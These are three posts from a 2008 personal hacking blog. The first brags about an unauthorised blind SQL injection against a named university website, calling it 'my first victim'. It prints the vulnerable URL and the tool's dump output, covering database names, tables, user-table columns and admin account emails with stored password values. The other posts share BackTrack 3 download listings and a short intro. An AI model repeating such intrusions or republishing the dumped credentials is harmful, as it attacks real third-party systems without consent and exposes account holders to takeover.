viperfx07 blog (hack + crack + web + app)

viperfx07 is here to blog about hacking, cracking, website, application, android, and many more.

Thursday, September 18, 2008

[SQLi] http://www.unimedia.ac.id

8:58 PM Posted by viperfx07 No comments
After reading some forums, i try an SQL-injection tool called blindext.py from http://forum.darkc0de.com. Simple tool but it's great. Therefore, i try it in some websites that can be exploited with SQL injection. Unfortunately, md5 is hard to break. Need a lot of time to crack it, so i juz leave it uncracked. Here is my first victim :)

Website: http://www.unimedia.ac.id/
Bug: SQL injection
Tool: blindext.py

Dumps:

[+] URL:http://www.unimedia.ac.id/page.php?title=2007%2F2008&article=21
[+] Proxy Not Given
[+] Gathering MySQL Server Configuration...
[+] MySQL >= v5.0.0 found!
[+] Showing database version, username@location, and database name!
[+] 10:52:25
[0]: 5.0.51-log:umn@localhost:umn

[-] 10:53:12
[-] Total URL Requests 206
[-] Done




[+] URL:http://www.unimedia.ac.id/page.php?title=2007%2F2008&article=21
[+] Proxy Not Given
[+] Gathering MySQL Server Configuration...
[+] MySQL >= v5.0.0 found!
[+] Showing all databases current user has access too!
[+] 10:12:27
[+] Number of Rows: 2

[0]: test
[1]: umn

[-] 10:12:48
[-] Total URL Requests 80
[-] Done



[+] URL:http://www.unimedia.ac.id/page.php?title=2007%2F2008&article=21
[+] Proxy Not Given
[+] Gathering MySQL Server Configuration...
[+] MySQL >= v5.0.0 found!
[+] Showing Tables from database "umn"
[+] 10:13:08
[+] Number of Rows: 6

[0]: article
[1]: menu
[2]: myinfo
[3]: mymedia
[4]: myuser
[5]: registrasi_baru

[-] 10:15:04
[-] Total URL Requests 379
[-] Done



[+] URL:http://www.unimedia.ac.id/page.php?title=2007%2F2008&article=21
[+] Proxy Not Given
[+] Gathering MySQL Server Configuration...
[+] MySQL >= v5.0.0 found!
[+] Showing Columns from database "umn" and Table "myuser"
[+] 10:18:32
[+] Number of Rows: 10

[0]: id
[1]: name
[2]: department
[3]: address
[4]: phone
[5]: email
[6]: mypass
[7]: level
[8]: view
[9]: sdate

[-] 10:20:25
[-] Total URL Requests 467
[-] Done



[+] URL:http://www.unimedia.ac.id/page.php?title=2007%2F2008&article=21
[+] Proxy Not Given
[+] Gathering MySQL Server Configuration...
[+] MySQL >= v5.0.0 found!
[+] Dumping data from database "umn" Table "myuser"
[+] Column(s) ['id', 'name', 'email', 'mypass']
[+] 10:22:11
[+] Number of Rows: 2

[0]: 1:Web Admin UMN:webadmin@unimedia.ac.id:dW1uaWN0
[1]: 3:na:admin@min.net:author

[-] 10:24:26
[-] Total URL Requests 542
[-] Done

Wednesday, September 17, 2008

Backtrack 3

2:35 PM Posted by viperfx07 , No comments
Description: CD Image
Name:: bt3-final.iso
Size: 695 MB
MD5: f79cbfbcd25147df32f5f6dfa287c2d9
SHA1: 471f0e41931366517ea8bffe910fb09a815e42c7
Download: Click here

Description: USB Version (Extended)
Name:: bt3final_usb.iso
Size: 784 MB
MD5: 5d27c768e9c2fef61bbc208c78dadf22
SHA1: 3aceedea0e8e70fff2e7f7a7f3039704014e980f
Download: Click here

Description: VMware Image
Name: BACKTRACK3_VMWare.rar
Size: 689 MB
MD5: 94212d3c24cf439644f158d90094ed6a
SHA1: 21c9a3f9658133efff259adbe290723583b4fd82
Download: Click here


BackTrack is the most Top rated linux live distribution focused on penetration testing. With no installation whatsoever, the analysis platform is started directly from the CD-Rom and is fully accessible within minutes.

It's evolved from the merge of the two wide spread distributions - Whax and Auditor Security Collection. By joining forces and replacing these distributions, BackTrack has gained massive popularity and was voted in 2006 as the #1 Security Live Distribution by insecure.org. Security professionals as well as new comers are using BackTrack as their favorite toolset all over the globe.

BackTrack has a long history and was based on many different linux distributions until it is now based on a Slackware linux distribution and the corresponding live-CD scripts by Tomas M. (www.slax.org) . Every package, kernel configuration and script is optimized to be used by security penetration testers. Patches and automation have been added, applied or developed to provide a neat and ready-to-go environment.

After coming into a stable development procedure during the last releases and consolidating feedbacks and addition, the team was focused to support more and newer hardware as well as provide more flexibility and modularity by restructuring the build and maintenance processes. With the current version, most applications are built as individual modules which help to speed up the maintenance releases and fixes.

Because Metasploit is one of the key tools for most analysts it is tightly integrated into BackTrack and both projects collaborate together to always provide an on-the-edge implementation of Metasploit within the BackTrack CD-Rom images or the upcoming remote-exploit.org distributed and maintained virtualization images (like VMWare images appliances).

Being superior while staying easy to use is key to a good security live cd. We took things a step further and aligned BackTrack to penetration testing methodologies and assessment frameworks (ISSAF and OSSTMM). This will help our professional users during their daily reporting nightmares.

Currently BackTrack consists of more than 300 different up-to-date tools which are logically structured according to the work flow of security professionals. This structure allows even newcomers to find the related tools to a certain task to be accomplished. New technologies and testing techniques are merged into BackTrack as soon as possible to keep it up-to-date.

No other commercial or freely available analysis platform offers an equivalent level of usability with automatic configuration and focus on penetration testing.

Tuesday, September 16, 2008

Intro: Although it's too late to make :)

11:56 PM Posted by viperfx07 No comments
After so many consideration, I decided to continue to write my blog. Hahaha...so what?

I decided to share everything i have learned, read, and thought, eventhough it's not a lot.

By writing this blog, i want to improve my writing skills in English 'coz i will need it when i go to take my master degree :)

So, please, enjoy yourself here. "Don't judge a book by its cover", Tukul said...